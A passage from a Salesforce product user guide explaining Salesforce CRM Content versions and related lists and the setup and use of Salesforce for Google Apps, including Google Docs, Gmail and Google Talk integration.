letters. The case of the original tag is always used.

7. Update any custom fields as needed.


8. Click Publish.

Notes on Content Versions


Consider the following information when creating or modifying a new version:
• You cannot edit a file within Salesforce CRM Content. To edit a file, download it from Salesforce CRM Content to your
computer, make your changes, then upload the updated version using the Upload New Version button.
• The Versions subtab on the content details page lists all content versions. The Recent Activity list on the Workspaces tab
also notifies users of new content versions.

289
Salesforce CRM Content Finding Salesforce CRM Content

• Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000
new versions per 24–hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per
24–hour period.

See Also:
Deleting, Archiving, and Restoring Content
Searching for Content
Viewing and Editing Content Details

Finding Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions
To access Salesforce CRM Content: Salesforce CRM Content User checked in your personal
information
AND
Member of the workspace

If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality
on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related
list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach
a file, the latest version will be available for the life of the record unless the file is removed.
From the Related Content related list, you can:

• Click the content's title to view the content details page where you can perform several tasks, such as commenting and
voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or
workspaces. For more information, see Viewing and Editing Content Details on page 284.
• Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce
CRM Content workspace.
• If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery
allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized web-based version
for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads,
customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking,
content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the
delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see
Creating Content Deliveries on page 279.
• Search for related content:

1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the workspaces that you
have access to. If you click Search All, the search results display all the content in your workspaces. For the Find

290
Salesforce CRM Content Finding Salesforce CRM Content

Content search, your search results contain content that is relevant to the record; Salesforce CRM Content searches
for content with text or attributes that match the following fields:

- On an opportunity, the Opportunity Name, Account Name, and all competitors and products.
- On an account, the Account Name and Industry.
- On a case, the Case Reason, Subject, Account Name, and Industry.
- On a lead, the Name, Company, Industry, and Title.

Note: On a custom object, clicking Find Content returns search results that contain the full custom object
name in the document's text or attributes. If no content meets this criterion, the search results will be empty
and a Search All search should be used instead.

2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the
sidebar.
3. Click Attach for any file that you want to attach to the record.
4. Click the Back link to return to the detail page.

See Also:
Salesforce CRM Content Overview
Customizing Salesforce CRM Content
Viewing and Editing Content Details
Uploading and Publishing Content

Using the Content Related List


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To access Salesforce CRM Content: Salesforce CRM Content User checked in your personal
information

The Content related list on a record detail page includes links to all of the content that has been associated with that record
in Salesforce CRM Content. Click the file name to open the content details page.
Only Salesforce CRM Content users who are members of the workspace where the content was published can see the published
file in the Content related list. For example, if you select the “Big Deal” opportunity when publishing BigDealStrategy.doc
into the Sales Collateral workspace, the Content related list on the “Big Deal” opportunity includes a link to
BigDealStrategy.doc only for members of the Sales Collateral workspace. Users who are not members of that workspace
do not see the link.

291
Salesforce for Google Apps Google Apps Overview

You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities,
products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 290.

See Also:
Salesforce CRM Content Overview
Finding Salesforce CRM Content

SALESFORCE FOR GOOGLE APPS

Google Apps Overview


Available in: All Editions

Google Apps™ is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. Salesforce.com integrates key Google Apps services and provides several AppExchange apps that enhance and customize
Google-related functionality. To set up a Google Apps account for your organization, activate services, and create individual
Google Apps accounts for your Salesforce.com users, see Getting Started with Salesforce and Google Apps on page 294.
The following services for Google Apps are integrated with Salesforce.com and require a simple activation by a Salesforce.com
administrator:
Add Google Docs to Salesforce.com
Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser,
and work together in real time with other collaborators. When the Add Google Docs to Salesforce.com service is activated,
you can:

• Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce.com
record to create, edit, or view Google docs and associate them to a record.
• Share a Google doc with any Google Apps user in your organization.
• Associate Google docs with Salesforce.com records even when you are not working in Salesforce.com by using the
Add Google Doc to Salesforce.com browser button.
• Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized
location.

Google Docs Tab


When the Google Docs tab is activated, you can use it to conveniently access the Docs home page for your Google Apps
account without leaving Salesforce.com. The Google Docs tab hosts your Docs home page, which is a list of all Google
documents, spreadsheets, and presentations that you created or that other users have shared with you. If the Add Google
Docs to Salesforce.com service is also activated, you can create a Google doc from the Google Docs tab and associate
that doc to any Salesforce.com record with the click of a button.

292
Salesforce for Google Apps Google Apps Overview

Gmail to Salesforce.com
Gmail™ is a Web-based email application that operates on all standard browsers and can be used with your company's
domain. Use Gmail to Salesforce.com to automatically log emails you send from your Gmail account as activities on
lead and contact records in Salesforce.com.

Gmail Buttons and Links

Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in
Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button,
Salesforce.com automatically logs you into your Gmail account and automatically populates the To field. If Gmail to
Salesforce.com is activated, Salesforce.com also populates the BCC field with your Email to Salesforce address.

Google Talk Sidebar Component


Google Talk™ is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in
Salesforce.com, Google Talk displays below the sidebar search fields where it can be toggled on, off, or expanded into
its own window. You can also log a chat record as an activity on a Salesforce.com lead or contact record.

Implementation Tips
• For detailed information about Google Apps, refer to Google's online help.
• Google Apps in Salesforce.com is available for Google business accounts but not consumer accounts. You can identify a
consumer account by the “gmail.com” domain in an email address; for example, myname@gmail.com is a consumer account.
The Google Apps domain you set up in Salesforce.com must be the domain you registered with Google for your organization;
for example, mycompany.com is a business rather than consumer account.
• After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce.com users
by clicking Export to Google Apps from Setup ➤ Manage Users ➤ Users.
• Notify users of their Google Apps usernames and passwords.
• Notify users about the changes they will see in Salesforce.com when Google Apps services are activated. For example,
activating the Google Talk Sidebar Component adds Google Talk to the sidebar for all users in your organization.
• To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange.
• By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside
your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document
sharing to within your domain.
• When the Add Google Docs to Salesforce.com service is deactivated, Google docs cannot be accessed from Salesforce.com
records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from
Salesforce.com. If the Add Google Docs to Salesforce.com service is reactivated within 30 days, Google docs that were
associated with Salesforce.com records before the deactivation are restored to their previous location. Deactivating the Add
Google Docs to Salesforce.com service does not affect Google docs in Salesforce CRM Content workspaces; deactivation
does not remove Google docs associations in workspaces and does not permanently delete Google docs in Recycle Bins.
• Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce.com workspace. Portal users without access to Salesforce
CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a
record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users
cannot use the Add Google Doc to Salesforce.com browser button.
• Customer Portal and partner portal users cannot access the Gmail Buttons and Links or Google Talk Sidebar Component
services.
• If your organization purchased the Salesforce.com for Google Apps Supported feature, see Getting Started With Salesforce
and Google Apps Supported on page 296.

293
Salesforce for Google Apps Getting Started with Salesforce and Google Apps

Best Practices
• Test your Google Apps integration using a sandbox or Developer Edition organization.
• Manage Google Apps users as you would Salesforce.com users. For example, if you deactivate a Salesforce.com user, also
deactivate his or her Google Apps account in the control panel for your organization's Google Apps account. For information
about administering your organization's Google Apps account, refer to Google's online help.
• To locate a Google doc quickly in Salesforce.com, search for the doc using Sidebar Search.
• If Google Talk is in the sidebar, refreshing a Salesforce.com page causes Google Talk to momentarily disconnect and
reconnect. Recommend to your users that they open Google Talk in its own window if they want to have longer chats.

See Also:
Getting Started with Salesforce and Google Apps
Using Google Docs in Salesforce.com
Using Gmail in Salesforce.com
Using Google Talk in Salesforce.com

Getting Started with Salesforce and Google Apps


Available in: All Editions

User Permissions Needed


To view and modify Google Apps domain settings: “Customize Application”
To activate or deactivate Google Apps services: “Customize Application”
To install or uninstall Force.com AppExchange packages: “Download AppExchange packages”
To export a list of users to Google to create Google Apps “Customize Application”
accounts:

Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. If your organization has a Google Apps account, Salesforce.com administrators can enable Google Docs, Gmail, Google
Talk, and a host of Google-related AppExchange apps—customized for use within Salesforce.com. For a description of the
Google Apps functionality in Salesforce.com, see Google Apps Overview on page 292.

Step 1: Creating a Google Apps Account


Create a Google Apps account for your organization using one of the following methods:
• On the Setup ➤ Google Apps ➤ Settings page, click Sign Up to launch the account-creation page on the Google website.
You are prompted to register your organization's domain name or purchase a new domain name from Google. A domain
is the portion of a website's URL that follows the “www.” Follow Google's steps to configure your new or existing domain
and set up your Google Apps account.
• If your organization purchased the Salesforce and Google Apps Supported feature, click Setup ➤ Google Apps ➤ Premier
Setup to create a new Google Apps Premier Edition account or upgrade your existing Standard Edition account to Premier
Edition. For details, see Getting Started With Salesforce and Google Apps Supported on page 296.

294
Salesforce for Google Apps Getting Started with Salesforce and Google Apps

Note: Google Apps in Salesforce.com supports Google Apps business accounts but not consumer accounts. You can
identify a consumer account by the “gmail.com” domain in an email address; for example, myname@gmail.com is a
consumer account. The Google Apps domain you set up in Salesforce.com must be the domain you registered with
Google for your organization; for example, mycompany.com is a business rather than consumer account.

Step 2: Configuring Google Apps Domain Settings


1. On the Setup ➤ Google Apps ➤ Settings page in Salesforce.com, click Edit.
2. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
3. Enter the Google Apps Domain that you registered with Google. For example, if your company's URL is
http://www.acme.com and you created a Google Apps account for the acme.com domain, enter acme.com in the
Google Apps Domain field.
4. Click Save.

Step 3: Activating Google Apps Services


1. In the Activate Google Apps Services section on the Setup ➤ Google Apps ➤ Settings page, locate the Google Apps
service(s) that you want to activate.
2. Click Edit or Install to activate a service. In the Action column, Edit corresponds to Google Apps services that are already
integrated in Salesforce.com, and Install corresponds to uninstalled Force.com AppExchange apps. Integrated Google
Apps services include:
• Add Google Docs to Salesforce
• Google Docs Tab
• Gmail to Salesforce.com
• Gmail Buttons and Links
• Google Talk Sidebar Component
For descriptions of the Google-related AppExchange apps, visit http://sites.force.com/appexchange.

Step 4: Creating Google Apps Users


Activating Google Apps services in Salesforce.com makes the services visible to all users in your organization, but a user cannot
access a service unless he or she has a Google Apps account on your organization's domain. The Google Apps administrator
registered with Google can create these additional accounts. For more information, see Creating Google Apps Accounts on
page 300.

See Also:
Using Google Docs in Salesforce.com
Using Gmail in Salesforce.com
Using Google Talk in Salesforce.com

295
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported

Getting Started With Salesforce and Google Apps


Supported
Available in: All Editions

User Permissions Needed


To create a new Google Apps Premier Edition account in “Customize Application”
Salesforce:
OR
Google Apps Administrative Contact

To upgrade Google Apps Standard Edition to Google Apps “Customize Application”


Premier Edition in Salesforce:
OR
Google Apps Administrative Contact

The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization.
In Salesforce.com, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google
Apps Premier Edition. For a description of the Google Apps services available in Salesforce.com, see Google Apps Overview
on page 292.
After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account
in Salesforce.com, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier
Edition licenses available to your organization, and, if applicable, the status of your upgrade.

Creating a New Google Apps Premier Edition Account


If your organization does not have a Google Apps account, complete the following steps to register a Google Apps Premier
Edition account and enable Salesforce and Google Apps:

1. Click Settings ➤ Google Apps ➤ Premier Setup.


2. Complete the fields in Column A:

Field Description
Domain Name Enter the domain that you want to register as your
organization's Google Apps account. For example, if your
company's URL is http://www.acme.com, enter
acme.com as your Domain Name.

User Name This value is used to create the Google Apps administrator
for your organization's account. For example, if your Google
Apps administrator will be jsmith@acme.com, enter
jsmith. After your Google Apps account is created, you

296
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported

Field Description
can log in with the User Name and Password and change
this value if necessary.
First Name This value is used to create the Google Apps administrator
for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.

Last Name This value is used to create the Google Apps administrator
for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.

Email Address This email address receives a confirmation notice when your
Google Apps Premier Edition account is created. Google
does not store this value for any other purpose.
Password The Google Apps administrator can log in to Google Apps
with this password.
Confirm Password The Google Apps administrator can log in to Google Apps
with this password.

3. Click Create New Premier Account.


4. To enable Salesforce and Google Apps, click Setup ➤ Google Apps ➤ Settings.
5. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
6. Verify that the Google Apps Domain field contains the domain name you registered with Google.
7. Activate Google Apps services in Salesforce.com. For more information, see Activating Google Apps Services on page
295.
8. Create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts
on page 300.
Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses
your organization purchased with the Salesforce and Google Apps Supported feature.

Upgrading to a Google Apps Premier Edition Account


Complete the following steps to upgrade your organization's existing Google Apps Standard Edition account to a Google
Apps Premier Edition account.
1. Click Setup ➤ Google Apps ➤ Premier Setup.
2. Complete the fields in Column B:

297
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported

Field Description
Domain Name The domain that you want to register as your organization's
Google Apps Premier Edition account. If you already
enabled Salesforce and Google Apps, this field is
prepopulated with your organization's domain name.
Google Apps Token The 16-digit token required to upgrade from Google Apps
Standard Edition to Google Apps Premier Edition. Your
organization's Google Apps administrator can access this
information on the Google website. For more information,
click Retrieve Google Apps Token in Column B.

3. Click Upgrade Existing Account to Premier.


4. To enable Salesforce and Google Apps, click Setup ➤ Google Apps ➤ Settings.
5. As needed, edit the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
6. Verify that the Google Apps Domain field contains the domain name you registered with Google.
7. As necessary, activate Google Apps services in Salesforce.com. For more information, see Activating Google Apps Services
on page 295.
8. As necessary, create users for your organization's Google Apps account. For more information, see Creating Google Apps
Accounts on page 300.
Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses
your organization purchased with the Salesforce and Google Apps Supported feature.

See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps

298
Salesforce for Google Apps Setting Up Google Apps in Salesforce.com

Setting Up Google Apps in Salesforce.com


Available in: All Editions

User Permissions Needed


To edit Google Apps domain settings and activate or “Customize Application”
deactivate services:
To install or uninstall AppExchange packages: “Download AppExchange packages”

Click Setup ➤ Google Apps ➤ Settings to edit your Google Apps domain settings, activate or deactivate Google Apps
services in Salesforce.com, or install or uninstall Google-related Force.com AppExchange packages. For a description of
Google Apps functionality in Salesforce.com, see Google Apps Overview on page 292.
Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your
organization and your Google Apps domain settings are configured in Salesforce.com. For instructions on creating
an account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 294.

Editing Google Apps Domain Settings


Domain settings consist of two values: the user chosen to administer your organization's Google Apps account and the domain
your organization registered with Google. Both fields are required to enable Google Apps in Salesforce.com. To edit your
domain settings:
1. In the Configure Google Apps Domain section, click Edit.
2. Optionally, choose a new user for the Google Apps Administrative Contact field. This person is the point of
contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she
is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need
to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google
Apps administrator can create new Google Apps users on your domain.
3. Optionally, modify the Google Apps Domain that is registered with Google for your organization's Google Apps
account. Your Google Apps Domain is typically your company's domain; for example, acme.com.

Modifying Google Apps Services


This section lists Google Apps services that are integrated with Salesforce.com and also provides links to several Google-related
Force.com AppExchange apps that can be easily installed from AppExchange.
To activate or deactivate an integrated service, click Edit next to the service name. These services include:
• Add Google Docs to Salesforce
• Google Docs Tab
• Gmail to Salesforce.com
• Gmail Buttons and Links
• Google Talk Sidebar Component
Note: If you are activating a service for the first time, review the Implementation Tips for Google Apps services.

299
Salesforce for Google Apps Creating Google Apps Accounts

To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related
AppExchange offerings, visit http://sites.force.com/appexchange.

See Also:
Installing a Package
Uninstalling a Package
Google Apps Overview

Creating Google Apps Accounts


Available in: All Editions

User Permissions Needed


Export users to Google: “Customize Application”
Create new Google Apps accounts: Google Apps administrator

After creating a Google Apps account for your organization and enabling Google Apps in Salesforce.com, you can create
Google Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce.com, each user
needs a Google Apps account on the domain your organization registered with Google. An account includes a username and
password that allow the user to log into all Google Apps services.
Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier
Edition accounts you can create is limited to the number of licenses your organization purchased.

To export a list of users to Google and create Google Apps accounts for each user:

1. Click Setup ➤ Manage Users ➤ Users.


2. In the View drop-down list, choose a list of users. To create a custom list view, see Creating Custom List Views on page
219.
3. Click Export to Google Apps to export all the users in the list. To export certain users only, select those users in the Action
column.
Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display.
To enable Google Apps in Salesforce.com, see Getting Started with Salesforce and Google Apps on page 294.

4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends
on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to
Google Apps page is All Users Export File.
5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can
modify the username, last name, and first name fields for any user as needed. Google creates account names by
adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet
contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com.
6. Save the spreadsheet to your computer.

300
Salesforce for Google Apps Using Google Docs in Salesforce.com

7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's
Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered
with Google as the administrator of your organization's account can create additional Google Apps accounts on your
organization's domain.
8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation
report, and the user for each successfully created account receives a notification email at his or her new Gmail account..
9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is
enabled in Salesforce.com.

See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps

Using Google Docs in Salesforce.com


Available in: All Editions

User Permissions Needed


Activating the Add Google Docs to Salesforce.com service: “Customize Application”
Activating the Google Docs tab: “Customize Application”
Using Google Docs in Salesforce.com “Read” on the appropriate record type
AND
Google Apps account

Use Google Docs™ to create and share on-demand documents, presentations, and spreadsheets (“Google docs”) and see your
changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to
manage versions or send attachments by email—simply log in with your Google Apps account and view the current document
or its revision history.
Salesforce and Google Apps allows you to integrate Google Docs with Salesforce.com in three ways:

• Access the Docs home page using a Salesforce.com tab—The Docs home page in your Google Apps account lists all the
Google documents, presentations, and spreadsheets that you have created or that other Google Apps users have shared
with you. If the Google Docs tab is activated, you can access your Docs home page without leaving Salesforce.com.
• Associate Google docs with Salesforce.com records—From the Docs home page you can associate a Google doc with
Salesforce.com records by using the Add Google Doc to Salesforce.com browser button. You can also create, edit, or
delete Google doc associations on any Salesforce.com record by using the Google Docs, Notes, & Attachments or Google
Docs & Attachments related lists.
• Use Salesforce CRM Content to manage your Google Docs— If Salesforce CRM Content is enabled, you can use the
Contribute tab or the Add Google Doc to Salesforce.com browser button to add Google docs to your workspaces. Including
Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.

301
Salesforce for Google Apps Activating Google Docs in Salesforce.com

For information about Google Docs, refer to Google's online help.

See Also:
Activating the Google Docs Tab
Activating Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button

Activating Google Docs in Salesforce.com


Available in: Contact Manager, Group, Professional,Enterprise,Unlimited, and Developer Editions

User Permissions Needed


Activating the Add Google Docs to Salesforce.com service: “Customize Application”

Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.

Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators.
To activate or deactivate the Add Google Docs to Salesforce.com service:

1. Click Setup ➤ Google Apps ➤ Settings.


2. Click Edit next to the Add Google Docs to Salesforce.com option in the Activate Google Apps Services list.
3. Select or deselect the Activate checkbox.
4. If you are activating the Add Google Docs to Salesforce.com service, read the Terms of Use and select the checkbox
indicating you agree to the Terms of Use.
5. Click Save.

When the Add Google Docs to Salesforce.com service is enabled, the following changes allow users to create, edit, or view
Google docs and associate them with Salesforce.com records:

• The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom
objects is renamed to Google Docs, Notes, & Attachments.
• The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments.
• If Salesforce CRM Content is enabled, the Workspaces tab has an Add Google Doc drop-down list.

Users can also install the Add Google Doc to Salesforce.com browser button, which allows them to associate a Google doc
to several Salesforce.com records or a Salesforce CRM Content workspace without being logged into Salesforce.com. For
more information see Installing the Add Google Doc to Salesforce.com Browser Button on page 307 and Adding Google Docs
to Salesforce.com on page 303.

302
Salesforce for Google Apps Adding Google Docs to Salesforce.com

Implementation Tips
• For information about Google Docs, refer to Google's online help.
• By default, Google Docs users on your domain can share their Google docs with Google Apps accounts outside your
domain. The control panel in your Google Apps account contains sharing settings that enable you to restrict document
sharing to users within your organization's domain.
• Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce.com workspace. Portal users without access to Salesforce
CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a
record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users
cannot use the Add Google Doc to Salesforce.com browser button.
• When the Add Google Docs to Salesforce.com service is deactivated, Google docs cannot be accessed from Salesforce.com
records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from
Salesforce.com. If the Add Google Docs to Salesforce.com service is reactivated within 30 days, Google docs that were
associated with Salesforce.com records before the deactivation are restored to their previous location. Deactivating the Add
Google Docs to Salesforce.com service does not affect Google docs in Salesforce CRM Content workspaces; deactivation
does not remove Google docs associations in workspaces and does not permanently delete Google docs in Recycle Bins.
• The Add Google Docs to Salesforce.com service cannot be disabled for your organization if Google docs are referenced
in an Apex script. For more information, see Force.com Apex Code Overview on page 1538.
• Google docs count against data storage. For each Google doc associated with a record or workspace in Salesforce.com,
two Kb of storage is used.

See Also:
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button

Adding Google Docs to Salesforce.com


Available in: All Editions

User Permissions Needed


Creating a Google doc and linking it to Salesforce.com records: “Read” on the appropriate record type
AND
Google Apps account

Note: To use a Google Apps service in Salesforce.com, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.

Salesforce.com offers three methods for creating new Google docs and associating them with Salesforce.com records:

• You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to
anyone with access to both the record and the Google doc.

303
Salesforce for Google Apps Adding Google Docs to Salesforce.com

• You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more
Salesforce.com records or Salesforce CRM Content workspaces using the Add Google Doc to Salesforce browser button.
• If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce
CRM Content workspace.

Tip: For information about using Google Docs, refer to Google's online help.

Adding New Google Docs to a Salesforce.com Record


1. Display the record you want linked to the new Google doc.
2. On the Google Docs, Notes, & Attachments related list or the Google Docs & Attachments related list, click Add Google
Doc and choose New Document, New Spreadsheet, or New Presentation.
3. To create a blank Google doc:
a. After choosing a doc type from the Add Google Doc drop-down button, choose Create as a blank document,
Create as a blank spreadsheet, or Create as a blank presentation. The name of the radio button
depends on which type of Google doc you chose to create.
b. Enter a name for the document, spreadsheet, or presentation.
c. Click Create Google Doc. The blank document displays with the name you assigned. You can begin editing your doc;
it is automatically associated with the selected record.
Tip: While you have your Google doc open, remember to share it with other Google Apps users in your
organization. Only users with access to the Google doc in their Google Apps account can view the doc from
the record detail page.

4. To create a new Google doc by converting another file format to Google Docs:
a. After choosing a doc type from the Add Google Doc drop-down button, choose Create using an existing
file.
b. Select the file you want to convert. Salesforce.com can convert the following file types to Google docs:
• Microsoft Word® (doc), text (txt), rich text format (rtf ), OpenDocument text (odt), or StarOffice™ document (swx)
files up to 500 KB each
• Microsoft Excel® (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

• Microsoft PowerPoint® (ppt or pps) files up to 10 MB each

c. Enter a name for the document, spreadsheet, or presentation.


d. Click Create Google Doc. The file you uploaded is converted to a Google document, presentation, or spreadsheet.
You can begin editing your doc; it is automatically associated with the selected record.
Tip: While you have your Google doc open, remember to share it with other Google Apps users in your
organization. Only users with access to the Google doc in their Google Apps account can view the doc from
the record detail page.

To link an existing Google doc to a record, see Editing Google Doc Links on page 306.

304
Salesforce for Google Apps Adding Google Docs to Salesforce.com

Creating Google Docs from the Docs Home Page


The Docs home page in your Google Apps account lists all the Google docs you have created with your Google Apps account
or that other users have shared with your account. You can access the Docs home page by logging into your Google Apps
account and navigating to the Docs home page.
Tip: As a shortcut, you can display the Docs home page in Salesforce.com if the Google Docs tab is enabled.

If the Add Google Doc to Salesforce.com browser button is installed in your browser, create a Google doc and click the
browser button to associate the Google doc with Salesforce.com records or workspaces. For more information, see Associating
Google Docs with Salesforce.com Records on page 308.

Adding New Google Docs to a Salesforce CRM Content Workspace


Create a new Google doc and publish it into a workspace, sharing that document with other members of that workspace.
1. On the Workspaces tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc
drop-down button. You may be prompted to log in to Google Apps.
2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens
and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens.
3. In the Save or Publish Content dialog:
a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who
view the doc's content details page in Salesforce CRM Content.
b. Choose a workspace. If you do not want to put the doc in a public workspace, for example if the doc is still in progress,
choose Save in my personal workspace.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. To publish the content on behalf of another author, choose that author from the drop-down list.
e. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content workspace,
or click Cancel to save the doc to your personal workspace. From there you can delete the doc from Salesforce CRM
Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all workspace members can
search for the doc and provide feedback such as comments and votes.

305
Salesforce for Google Apps Editing Google Doc Links

Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.

See Also:
Using Google Docs in Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button

Editing Google Doc Links


Available in: All Editions

User Permissions Needed


Editing Google doc links: “Read” on the appropriate record type
AND
Google Apps account

Note: To use a Google Apps service in Salesforce.com, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.

You can associate an existing Google doc with a Salesforce.com record by adding the name and URL of that Google doc to
the record. An existing Google doc is one that you already have access to on your Google Apps account but is not already
associated with the record you are viewing.
